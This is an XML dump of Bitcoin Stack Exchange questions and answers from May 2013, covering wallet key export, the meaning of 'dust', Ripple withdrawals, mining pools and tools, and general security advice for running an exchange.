  <row Id="10981" PostTypeId="2" ParentId="10978" CreationDate="2013-05-16T16:57:38.750" Score="3" Body="&lt;p&gt;Most alternative wallets give you the possibility of exporting the private keys. Private keys can be imported in almost every other wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of Armory, the root key and chain code are used to generate a whole chain of private keys. You can ask for new addresses as you like inside your wallet, and by backing up only these two keys, you can recover all of them. This is a useful feature, but makes it harder to import in other wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, Armory has an option to export the individual private keys of all the addresses you used. In the wallet menu there is a link &quot;Backup Individual Keys&quot; for this purpose. This exporting feature will always be available, also when Armory decides to stop, since it is independent of Bitcoin itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how other wallets support backing up individual keys, but I suppose most of them can.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-16T16:57:38.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10983" PostTypeId="2" ParentId="10949" CreationDate="2013-05-16T18:50:20.847" Score="3" Body="&lt;p&gt;From my experience, your solution is the MultiBit Wallet software - it should satisfy all your requirements: &lt;a href=&quot;https://multibit.org/index.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it on a regular basis and found it satisfying, and also have the possibility of storing more than one wallet, you should give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="5072" LastActivityDate="2013-05-16T18:50:20.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10985" PostTypeId="2" ParentId="10949" CreationDate="2013-05-16T20:01:42.077" Score="0" Body="&lt;p&gt;The least painful way is to let go of your old wallet, as long as you know that nothing else will be ever coming to you on any of those addresses. Simply start the new client and send your balance to one if its new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must hold onto your old addresses, look for a client that can import the Bitcoin-Qt exports. I believe that MultiBit can do this.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-16T20:01:42.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10986" PostTypeId="1" CreationDate="2013-05-16T20:02:09.407" Score="66" ViewCount="36428" Body="&lt;p&gt;I've seen the term &quot;dust&quot; used to describe small transactions that might be considered as spam by the Bitcoin network. Is there is a generally accepted definition of this term?&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="132" LastEditDate="2014-01-13T14:34:23.727" LastActivityDate="2024-01-03T13:15:54.407" Title="What is meant by Bitcoin dust?" Tags="|transactions|terminology|dust|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10987" PostTypeId="2" ParentId="10986" CreationDate="2013-05-16T20:07:08.627" Score="30" Body="&lt;p&gt;EDIT: This answer still gets upvotes 10 years later, so I'm going to try and update the answer a bit as all of the links and numbers were horribly out of date.&lt;/p&gt;&#xA;&lt;p&gt;Dust is any transaction that is considered too small to be worth carrying out. Dust is a theoretical problem in cryptocurrency because a bad actor could attempt to flood the processing network with an overload of tiny transactions: the equivalent of trying to shutdown a store by paying at the only register with one penny at a time. Therefore, there are some safeguards in the BTC network that prevents &amp;quot;dust&amp;quot; transactions from propagating. Minimum transaction fees are also a way of preventing dust from being a problem.&lt;/p&gt;&#xA;&lt;p&gt;The exact size below which a transaction is considered &amp;quot;dust&amp;quot;, however, has no hard definition. Different clients, software, and different nodes might all have different limits. And those limits might change over time as the value of BTC changes. Amusingly, when I originally wrote this answer BTC was around $20 and 0.01 BTC was considered dust by some clients as it was only worth $0.20. As I edit this article today, that same 0.01 BTC is worth about $170, so I don't think it would be classified as dust by anyone.&lt;/p&gt;&#xA;&lt;p&gt;The Bitcoin Core currently defines dust here in &lt;a href=&quot;https://github.com/cozz/bitcoin/blob/bdc2d515faf2b6459c0ee98de5cbc3149ff5970d/src/core.h#L151&quot; rel=&quot;nofollow noreferrer&quot;&gt;this code&lt;/a&gt;. (Even if you can't read C code, the majority is just text describing the intent of the fucnction.):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    bool IsDust(int64_t nMinRelayTxFee) const&#xA;    {&#xA;        // &amp;quot;Dust&amp;quot; is defined in terms of CTransaction::nMinRelayTxFee,&#xA;        // which has units satoshis-per-kilobyte.&#xA;        // If you'd pay more than 1/3 in fees&#xA;        // to spend something, then we consider it dust.&#xA;        // A typical txout is 34 bytes big, and will&#xA;        // need a CTxIn of at least 148 bytes to spend,&#xA;        // so dust is a txout less than 54 uBTC&#xA;        // (5460 satoshis) with default nMinRelayTxFee&#xA;        return ((nValue*1000)/(3*((int)GetSerializeSize(SER_DISK,0)+148)) &amp;lt; nMinRelayTxFee);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'd consider this the lowest threshold of dust: 54 uBTC. If Bitcoin Core rejects a transaction as dust it's very unlikely for a transaction to be successful. But other software and/or markets might have higher thresholds for dust. And Bitcoin Core might change its threshold again if the prices and/or fees change significantly. The exact definition of dust, and the threshold for what is considered dust may change over time with the transaction volume (and therefore competition for space in the blockchain) and exchange rates.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2022-12-12T16:26:16.820" LastActivityDate="2022-12-12T16:26:16.820" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="10988" PostTypeId="2" ParentId="10986" CreationDate="2013-05-16T20:09:42.627" Score="0" Body="&lt;p&gt;Bitcoin dust refers to the thousands and thousands of tiny transactions that some sites flood the network and thus the blockchain with.&lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2013-05-16T20:09:42.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10989" PostTypeId="1" CreationDate="2013-05-16T20:23:30.540" Score="6" ViewCount="3360" Body="&lt;p&gt;I traded XRP for BTC. How do I withdraw my bitcoins from ripple.com? I guess I need to withdraw to bitstamp.net somehow?&lt;/p&gt;&#xA;" OwnerUserId="5075" LastEditorUserId="105" LastEditDate="2013-05-17T16:33:18.780" LastActivityDate="2016-04-18T07:54:59.957" Title="I traded XRP for BTC. How do I withdraw my bitcoins from ripple.com?" Tags="|ripple|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10990" PostTypeId="2" ParentId="10989" CreationDate="2013-05-16T21:01:44.807" Score="3" Body="&lt;p&gt;Ripple can't hold Bitcoin natively. Instead, you have an IOU from somebody saying that they owe you 3 BTC. Now, you can go to the person who issued that IOU, and ask for those bitcoins in exchange for cancelling the IOU. If you don't like the terms that they give you for the IOU (example: they only deal in amounts larger than 5 BTC), then you can trade that IOU for one from a different gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out what IOU's you hold, look at the trust tab of your client.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-05-16T21:01:44.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10991" PostTypeId="1" CreationDate="2013-05-16T21:14:11.753" Score="1" ViewCount="122" Body="&lt;p&gt;I don't know what's wrong with it, but I would really appreciate it if someone can help me. I've already been receiving money from this address so I really don't want to delete it. I have 3 BTC coming in.&lt;/p&gt;&#xA;" OwnerUserId="5076" LastEditorUserId="105" LastEditDate="2013-05-17T16:37:04.963" LastActivityDate="2013-05-17T16:37:04.963" Title="Stuck on blockchain 8791 - Synchronizing" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-17T16:36:42.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="10993" PostTypeId="2" ParentId="10991" CreationDate="2013-05-16T23:48:49.867" Score="1" Body="&lt;p&gt;You should &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Securing_the_Bitcoin-QT_or_bitcoind_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;backup&lt;/a&gt; and secure/encrypt your wallet before messing with anything. If you have a second computer, I'd recommend getting the software working there and ensure that your wallet works on that computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running an older version of Bitcoin-Qt, upgrade to &lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;0.8.1&lt;/a&gt; or later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2914/why-does-the-initial-blockchain-download-get-stuck-part-way-through?rq=1&quot;&gt;this other question&lt;/a&gt; after that.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-05-16T23:48:49.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostTypeId="2" ParentId="10979" CreationDate="2013-05-17T01:33:35.657" Score="5" Body="&lt;p&gt;It is hard, if not impossible, to do so when you &lt;em&gt;only have the addresses&lt;/em&gt;. Most clients that support multiple deterministic addresses for a wallet, make sure it is impossible to know that two or more addresses are linked together. They usually use a random value as the starting seed and another random value to chain consequent new addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that they chain the addresses by generating new private keys. These private keys are generated through their algorithm (and are already hard to link together), but normally no one will come to know the private keys of the addresses you use. So it is already hard to link private keys together, but it is even harder to link addresses resulting from the public keys together. So it's good to assume it's impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, there is more than the addresses alone. There also are transactions. Most wallets generate a new address from a sequence whenever change is generated. This way, people could f.e. track all the transactions coming from one of your addresses and be able to follow the chain of addresses from your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so, they must be able to distinguish between transaction output and change, which is not trivial. This is not easy, especially when you have multiple transaction outputs. Also, once they make one mistake, they lose their track. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this method is not as hard to exploit as using the addresses. However, the vulnerability of this method has nothing to do with the fact that you use a deterministic wallet. &lt;em&gt;People will also be able to do this if you would generate completely random addresses for every change output.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-09-30T16:12:18.783" LastActivityDate="2014-09-30T16:12:18.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10996" PostTypeId="2" ParentId="10570" CreationDate="2013-05-17T01:48:51.323" Score="3" Body="&lt;p&gt;Ok, I'm going to iterate over &lt;a href=&quot;https://en.bitcoin.it/wiki/Comparison_of_mining_pools&quot; rel=&quot;nofollow&quot;&gt;this list&lt;/a&gt;. Although I think it is not very clear what &quot;account creation&quot; would imply, I list the ones that just want your Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ones I found that &lt;strong&gt;do not require account creation&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://50btc.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;50 BTC&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eligius.st/~gateway/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Eligius&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hhtt.1209k.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Horrible Horrendous Terrible Tremendous Mining Pool&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;P2Pool&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mmpool.bitparking.com/register&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BitParking&lt;/strong&gt;&lt;/a&gt; (requires you to create a UserId, but no password or whatever so basically you can just enter randomness and a Bitcoin address)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And ones that do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.abcpool.co/&quot; rel=&quot;nofollow&quot;&gt;ABCPool.co&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitclockers.com/&quot; rel=&quot;nofollow&quot;&gt;BitClockers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mining.bitcoin.cz&quot; rel=&quot;nofollow&quot;&gt;Slush's pool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitminter.com/&quot; rel=&quot;nofollow&quot;&gt;BitMinter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.btcguild.com/&quot; rel=&quot;nofollow&quot;&gt;BTC Guild&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btcoxygen.com/&quot; rel=&quot;nofollow&quot;&gt;BTC Oxygen&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btcmine.com/&quot; rel=&quot;nofollow&quot;&gt;BTCMine.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btcmp.com/&quot; rel=&quot;nofollow&quot;&gt;btcmp.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btcwarp.com/&quot; rel=&quot;nofollow&quot;&gt;BTCWarp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pool.coinlab.com/partners/protected/sign-in&quot; rel=&quot;nofollow&quot;&gt;CoinLab's protected pool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://deepbit.net/&quot; rel=&quot;nofollow&quot;&gt;DeepBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://eclipsemc.com/&quot; rel=&quot;nofollow&quot;&gt;Eclipse Mining Pool&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.maxbtc.com/&quot; rel=&quot;nofollow&quot;&gt;MaxBTC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ozcoin.net/&quot; rel=&quot;nofollow&quot;&gt;Ozcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://polmine.pl/&quot; rel=&quot;nofollow&quot;&gt;Polmine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pool.itzod.ru/register&quot; rel=&quot;nofollow&quot;&gt;pool.itzod.ru&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.triplemining.com/&quot; rel=&quot;nofollow&quot;&gt;TripleMining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-17T01:48:51.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostTypeId="2" ParentId="10989" CreationDate="2013-05-17T02:13:07.717" Score="7" Body="&lt;p&gt;If you traded on the Bitstamp/BTC exchange, then log into your Bitstamp account (create one if you don't have one), select 'Deposit' and then select 'Ripple'. Follow the instructions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-17T02:13:07.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10998" PostTypeId="2" ParentId="10951" CreationDate="2013-05-17T05:34:38.467" Score="1" Body="&lt;p&gt;I think I've been able to answer my own question. What I did was use the API to place an order that I knew wouldn't success by setting the price really low/high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the order didn't process instantly it returned a non-zero OrderID to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the API I checked my order list and the order was shown there. So basically, if the order comes back with a non-zero OrderID it's still open for as long as the order still appears in the OrderList.&lt;/p&gt;&#xA;" OwnerUserId="5049" LastActivityDate="2013-05-17T05:34:38.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostTypeId="2" ParentId="10756" CreationDate="2013-05-17T11:43:46.283" Score="-3" Body="&lt;p&gt;FeatherCoin unlike any other crypto has an incredible community behind it. You can learn more about it in the official forum: &lt;a href=&quot;http://forum.feathercoin.com/index.php&quot; rel=&quot;nofollow&quot;&gt;http://forum.feathercoin.com/index.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5080" LastActivityDate="2013-05-17T11:43:46.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11000" PostTypeId="1" CreationDate="2013-05-17T14:15:35.463" Score="2" ViewCount="108" Body="&lt;p&gt;If a hacker gains access to a website and proceeds to vandalize the website, including changing the public-key of a BTC wallet, this would direct all payments to the hacker. Is this a security risk inherent to the use of BTC or is there something implemented that could prevent this? I am new to BTC/crypto-currency, so I don't fully understand all the details. &lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2013-05-17T16:32:25.570" Title="Integrity of ensuring the correct recipient of a BTC public address?" Tags="|security|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostTypeId="2" ParentId="11000" CreationDate="2013-05-17T15:25:51.503" Score="2" Body="&lt;p&gt;Yes. Somehow, you need to tell the client what public key/address to send to. If the attacker has full control over the client, or your server, they can replace your address with whatever they'd like.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-05-17T15:37:33.877" LastActivityDate="2013-05-17T15:37:33.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostTypeId="2" ParentId="11000" CreationDate="2013-05-17T16:32:25.570" Score="0" Body="&lt;p&gt;Your described situation is a security risk inherent in posting payment destination details for any payment system, not just Bitcoin. If a charity were to post bank wire information or a PayPal account, it's just as vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is actually somewhat ahead of the pack here because of the ease of creating &lt;em&gt;new&lt;/em&gt; payment destinations. Ideally, each new payment should be received at a new address. This helps the receiver determine when a payment has come through absolutely. The charity would have something that creates a new address for each donor, and then makes the private key available for spending somehow (or just use one of the established payment provider services that will do this for you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, having any payment destination information be inside a digitally-signed block of text would greatly increase its authenticity. Bitcoin provides this signature system out of the box, but it is greatly underused!&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-17T16:32:25.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11003" PostTypeId="1" AcceptedAnswerId="11007" CreationDate="2013-05-17T16:41:48.037" Score="0" ViewCount="670" Body="&lt;p&gt;I'm trying to run cpuminer on my Mac, though cpuminer requires a lot of command line tools - such as curl, libidn, etc. What are all of the tools required, and what is the minimum version of each I must obtain (e.g. curl 6)?&lt;/p&gt;&#xA;" OwnerUserId="4682" LastEditorUserId="5406" LastEditDate="2016-04-28T14:16:08.313" LastActivityDate="2016-04-28T14:16:08.313" Title="cpuminer - what command line tools are required?" Tags="|mining-pools|client|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostTypeId="1" AcceptedAnswerId="11005" CreationDate="2013-05-17T18:33:51.373" Score="5" ViewCount="2357" Body="&lt;p&gt;Considering the amount of users of vanitygen, and the fact that each user is generating millions/billions of  bitcoin addresses, won't we run out of bitcoin addresses soon? What would happen if we did run out?&lt;/p&gt;&#xA;" OwnerUserId="5027" LastActivityDate="2013-12-13T17:13:35.570" Title="Is vanitygen a problem for bitcoin?" Tags="|address|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11005" PostTypeId="2" ParentId="11004" CreationDate="2013-05-17T19:03:26.533" Score="7" Body="&lt;p&gt;There's no problem with running out of addresses.  The identifying part of a bitcoin address is a 160-bit hash.  160 bits gives in the range of 10^48 addresses, or roughly 1 for every atom on the planet.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-17T19:03:26.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11007" PostTypeId="2" ParentId="11003" CreationDate="2013-05-17T20:09:00.393" Score="0" Body="&lt;p&gt;Compiled it on Linux. These are the dependencies once compiled :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -d minerd&#xA;&#xA;Dynamic section at offset 0x1c178 contains 22 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x0000000000000001 (NEEDED)             Shared library: [libcurl.so.4]&#xA; 0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]&#xA; 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's only &lt;code&gt;libcurl&lt;/code&gt; and &lt;code&gt;glibc&lt;/code&gt;. Since &lt;code&gt;glibc&lt;/code&gt; is just a standard C library, and Mac probably has its own equivalent, you can ignore that one. The only runtime requirement is &lt;code&gt;libcurl&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Judging by the source code the minimum required version of libcurl is 7.10.1. You'll also need &lt;code&gt;yasm&lt;/code&gt; for 64-bit SSE2 code generation. And of course a C compiler that can handle C99.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-05-17T20:14:35.650" LastActivityDate="2013-05-17T20:14:35.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11008" PostTypeId="1" CreationDate="2013-05-17T20:19:36.153" Score="3" ViewCount="514" Body="&lt;p&gt;With the introduction of ASICs and FPGAs, I am looking to upgrade my rig.  However, I use the rig for academic research involving brute-force SHA-1 and SHA-2 cracking (I am working on make passwords more secure for my capstone project, trying to pay for everything by mining BTC during downtime).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options?  GPU's don't seem like they will matter much longer...&lt;/p&gt;&#xA;" OwnerUserId="4264" LastEditorUserId="5406" LastEditDate="2016-04-17T20:15:23.377" LastActivityDate="2016-04-17T20:15:23.377" Title="FPGA/ASIC with general SHA-1 and SHA-2 capabilities" Tags="|mining-hardware|asic|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11010" PostTypeId="2" ParentId="10966" CreationDate="2013-05-17T20:29:26.693" Score="2" Body="&lt;p&gt;There is a missing piece in your picture, the trade offers selling BTC/Bitstamp for XRP. The values you give won't work currently since the best offers in the order book are in the range of 8300 XRP/BTC or 830 XRP for the 0.1 BTC you mention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the values you give were adjusted or if we assumed an alternate reality where 10 XRP could buy 0.1 BTC/Bitstamp then the following &lt;em&gt;should&lt;/em&gt; (see note at bottom*) be what a user would see if they were to go to the client's &quot;send&quot; page (sorry no picture):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Recipient: C&#xA;Recipient will receive: 0.1 BTC&#xA;You can send:&#xA;    10.000 XRP  &amp;lt;Send XRP button&amp;gt;&#xA;    1.00 USD    &amp;lt;Send USD button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since User B has no BTC there is no BTC option given. If the user selects &quot;Send XRP&quot; then a payment path such as the following would be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User B 10.000 XRP&#xA;   --&amp;gt; trade offer for 10XRP to 0.1 BTC/Bitstamp&#xA;   --&amp;gt; Bitstamp&#xA;   --&amp;gt; User C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;User B's balance goes down by 10.000 XRP. The unknown person making the trade offer has their balance go up by 10 XRP and down by 0.1 BTC/Bitstamp. Bitstamp's balances are adjusted so that 0.1 BTC less is &quot;owed&quot; to the trader and 0.1 BTC more is &quot;owed&quot; to User C. User C's balance goes up by 0.1 BTC/Bitstamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead User A selects &quot;Send USD&quot; then a payment path such as the following would be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User B 1.00 USD/A&#xA;    --&amp;gt; User A's offer giving 10.000 XRP for 1.00 USD&#xA;    [then as above]&#xA;   --&amp;gt; trade offer for 10XRP to 0.1 BTC/Bitstamp&#xA;   --&amp;gt; Bitstamp&#xA;   --&amp;gt; User C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;User B's balance goes down by 1.00 USD/A. User A's balance goes up by 1.00 USD/A (they owe one less USD to User B) and User A's balance goes down by 10.000 XRP. Then it's as in the previous case: The unknown person making the trade offer has their balance go up by 10 XRP and down by 0.1 BTC/Bitstamp. Bitstamp's balances are adjusted so that 0.1 BTC less is &quot;owed&quot; to the trader and 0.1 BTC more is &quot;owed&quot; to User C. User C's balance goes up by 0.1 BTC/Bitstamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases User C considers the payment from User A complete by ending up with a larger balance with Bitstamp. All of these balance changes happen atomically within a single transaction, either all the balances change or none of them do (e.g. if the transaction fails because a required trade offer is consumed or canceled before this transaction can be processed). User B never ends up holding something they didn't want to hold (e.g. BTC/Bitstamp).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Note that path finding in Ripple is not exhaustive, not all valid paths are found. As David Schwartz says above, pathfinding is an area they are constantly improving. If the option to pay with USD as shown above is not presented currently then it's likely it will be as the pathfinding is improved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-05-17T20:29:26.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11011" PostTypeId="2" ParentId="11008" CreationDate="2013-05-17T20:34:14.057" Score="2" Body="&lt;p&gt;You could possibly buy some FPGA miners.  The ASICs can only do Bitcoin's specific hash function, and won't be of any use for your research.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-17T20:34:14.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11012" PostTypeId="1" CreationDate="2013-05-17T20:40:33.483" Score="1" ViewCount="130" Body="&lt;p&gt;I was looking at Amazon Web Services recently but they are based in the US - maybe not a good idea following what happened with mtgox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then looked at Linode as they have a pretty solid reputation, but I am concerned with the security issues they have had (bitcoinica lost all their funds because someone hacked the actual Linode admin panel, and I am still seeing security issues on their news in 2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have what I think is a novel idea for an exchange and want to try and get a toy hobby project up and running... but how do you choose a server with good ram so it handle a surge in traffic? The ones I listed above are examples of what I don't want.&lt;/p&gt;&#xA;" OwnerUserId="5088" LastEditorUserId="15143" LastEditDate="2014-05-02T23:42:55.687" LastActivityDate="2014-05-02T23:42:55.687" Title="How do you make a good choice of server host to run an exchange on?" Tags="|exchanges|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-04T05:48:32.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="11013" PostTypeId="2" ParentId="11012" CreationDate="2013-05-17T21:26:05.523" Score="4" Body="&lt;p&gt;First of all, don't even consider using VPSes for these things. As long as there's a layer above the OS that can be hacked, the data cannot be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if things are going to be safe, you're going to need at least several machines. The machine that stores the bitcoin wallet information shouldn't be connected directly to the internet, and should not run on the machine that also handles the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your server is an actual &lt;strong&gt;physical server&lt;/strong&gt; at a company you can trust, you should be fine hardware-wise, as long as you don't run out of resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, software is a far more important factor here. VPSes should be considered untrusted, as there's software running on the machine that you cannot control. As I already mentioned, don't run the webserver on the same machine where the wallets are stored, because a programming error can probably allow attackers to access those wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't assume that network traffic between your servers is safe: a routing error or packet interception can cause a lot of trouble for you. Always encrypt traffic between the machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't trust closed-source software, and don't use beta quality software. They tend to contain more bug than open source software used by lots of people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always assume that your own code sucks. This is a very important part. Even if you're an extremely good software developer who has ten years of experience with security, you're going to make mistakes in your code. These things can be code injections that allow attackers to steal password, exploits that allow attackers to view the source code, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the most important part is that if you read this answer and learn new things about security, you shouldn't be starting a bitcoin exchange. You are dealing with people's money here, and if this answer taught you anything new, you definitely don't know enough about security to start a bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-17T21:26:05.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
